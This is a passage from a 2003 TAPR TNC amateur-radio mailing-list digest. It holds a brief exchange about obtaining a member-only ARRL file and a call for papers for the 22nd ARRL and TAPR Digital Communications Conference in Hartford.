> Stan,
I found it on the ARRL. but it's member only.
In case you are the member, I think you can go there to catch the file
then
share it to me.

but just need to thanks for all.

rgds.
beni

At 09:48 PM 5/5/2003 -0400, you wrote:
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>
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>
>Stan, WA1LOU
>
>
>On 5/6/03 9:42, "Beni Muhamad" <bmuhamad@medan.oilfield.slb.com> wrote:
>
> > Stan and everybody,
> >
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?
> > let me know as quick as ferrari.
> >
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> > Beni.
> >
> >
> > ---
> > You are currently subscribed to tapr-tnc as: stanzepa@earthlink.net
> > To unsubscribe send a blank email to
leave-tapr-tnc-6755K@lists.tapr.org
> >
>
>
>---
>You are currently subscribed to tapr-tnc as: bmuhamad@slb.com
>To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

---
You are currently subscribed to tapr-tnc as: zes@ix.netcom.com
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

6. [tapr-tnc] Call for Papers

From: Stan Horzepa <stanzepa@earthlink.net>
Date: Tue, 20 May 2003 20:45:42 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-133580-2003.05.20-21.00.14--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Technical papers are solicited for presentation at the 22nd Annual ARRL and
TAPR Digital Communications Conference to be held September 19-21, 2003 in
Hartford, Connecticut, and publication in the Conference Proceedings. Annual
conference proceedings are published by the ARRL. Presentation at the

conference is not required for publication. Submission of papers are due by
August 5th, 2003 and should be submitted to:

Maty Weinberg, ARRL
225 Main Street
Newington, CT 06111

or via the Internet to
maty@arrl.org

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org